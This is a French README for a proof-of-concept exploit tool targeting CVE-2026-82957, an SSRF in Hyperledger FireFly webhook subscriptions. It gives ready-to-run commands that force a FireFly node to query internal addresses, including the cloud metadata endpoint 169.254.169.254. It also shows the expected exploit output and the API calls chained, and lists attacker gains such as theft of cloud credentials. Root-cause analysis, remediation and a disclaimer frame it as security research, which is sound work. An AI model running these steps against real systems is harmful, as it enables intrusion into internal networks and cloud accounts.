
Preuve de concept d'exploit pour CVE-2026-82957, une SSRF dans les abonnements webhook de Hyperledger FireFly qui force le nœud à requêter des URL internes ou de métadonnées cloud.
Une preuve de concept d'exploitation pour CVE-2026-82957, une falsification de requête côté serveur (CWE-918) dans le transport d'événements webhooks de Hyperledger FireFly Core. Tout client capable de créer un abonnement à des événements peut enregistrer un webhook dont l'URL cible n'est jamais validée — lorsqu'un événement correspondant se produit, le nœud FireFly lui-même émet la requête HTTP. En la dirigeant vers des adresses internes uniquement (métadonnées cloud, boucle locale, services RFC1918), on transforme le nœud en député confus.
Bibliothèque standard Python 3 uniquement — aucune dépendance.
$ python3 cve_2026_82957.py --help
Étape 1 — démarrez un écouteur sur la machine que le nœud FireFly doit atteindre (la victime SSRF) :
$ python3 -m http.server 8000 --bind 0.0.0.0
Étape 2 — exécuter l'exploit. -t est l'URL de base de l'API FireFly, -u est l'URL que le nœud sera forcé de requêter :
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Pour un nœud FireFly exécuté dans Docker, <host-ip> est la passerelle du réseau bridge — trouvez-la avec docker network inspect <network> (champ IPAM.Config.Gateway, par exemple 172.21.0.1).
Sortie attendue :
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
Journal du listener — l'IP source est l'IP du conteneur du nœud FireFly, et non la machine de l'attaquant, ce qui prouve que la requête a été forgée par le serveur. SSRF confirmée :
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 (« Base implementation of webhooks invocation », 2021-06-20)e3c9b8d89 (main) — aucun commit entre les deux n'ajoute de validation de l'hôteFichier : internal/events/webhooks/webhooks.go
| Ligne | Code | Problème |
|---|---|---|
| 191 | url: options.GetString("url") | cible reprise telle quelle depuis l'entrée utilisateur |
| 266 | ValidateOptions(...) | valide le format/les en-têtes/les délais d'attente mais jamais l'hôte |
| 394 | req.r.Execute(req.method, req.url) | la requête est émise |
Il n'existe aucune liste d'autorisation/interdiction sur la destination résolue : aucun blocage pour les adresses loopback, privées (RFC1918) ou link-local (169.254.0.0/16), et l'hôte comme le schéma sont entièrement contrôlés par l'attaquant. FireFly ne fournit aucun plugin d'authentification API par défaut, la création d'abonnement peut donc être non authentifiée.
POST /api/v1/namespaces/{ns}/subscriptions — crée le webhook malveillant (renvoie 201 Created pour les URL internes)POST /api/v1/namespaces/{ns}/messages/broadcast) — déclenche la requête forgéeCWE-918 Server-Side Request Forgery. Un attaquant peut :
169.254.169.254) → escalade vers le compte cloud"reply": true la réponse interne est renvoyée à l'attaquant sous forme d'événement FireFly — pas en aveugle~8.5 Élevé CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — la gravité dépend de si l'API est derrière une authentification.
Dans ValidateOptions, analyser l'URL, résoudre l'hôte et rejeter les adresses loopback/privées/link-local/non spécifiées ; restreindre le schéma à http/https ; revérifier l'IP résolue au moment de la connexion (un DialContext personnalisé) pour contrer le DNS-rebinding ; de préférence exposer une liste d'autorisation configurable des hôtes de webhook permis.
Cet outil est destiné uniquement à des fins éducatives et de recherche. Ne l'utilisez que sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable de tout usage abusif ou dommage causé par ce programme.
QuimeraX Intelligence est une plateforme avancée d'EASM et de Cyber Threat Intelligence spécialisée dans l'identification des vulnérabilités critiques dans les systèmes complexes. La plateforme surveille, détecte et alerte proactivement les clients au sujet des menaces de sécurité, garantissant transparence et réaction rapide aux risques potentiels. Les clients reçoivent des notifications immédiates et des rapports complets si leurs systèmes s'avèrent vulnérables, leur permettant de prendre des mesures de protection. en savoir plus
Hakai Security est une entreprise de cybersécurité fondée par des professionnels de la sécurité, engagée envers l'excellence technique. Nous proposons des solutions de sécurité sur mesure, incluant des tests d'intrusion avancés, des simulations Red Team réalistes et des pratiques de développement sécurisé pour protéger proactivement les actifs de nos clients contre les cybermenaces en constante évolution.
Hacking Club est la plateforme de formation où vous apprenez la cybersécurité grâce à des leçons pratiques, des labs et des challenges créés par des experts travaillant dans notre cabinet de conseil en sécurité : directement du terrain de bataille à votre formation.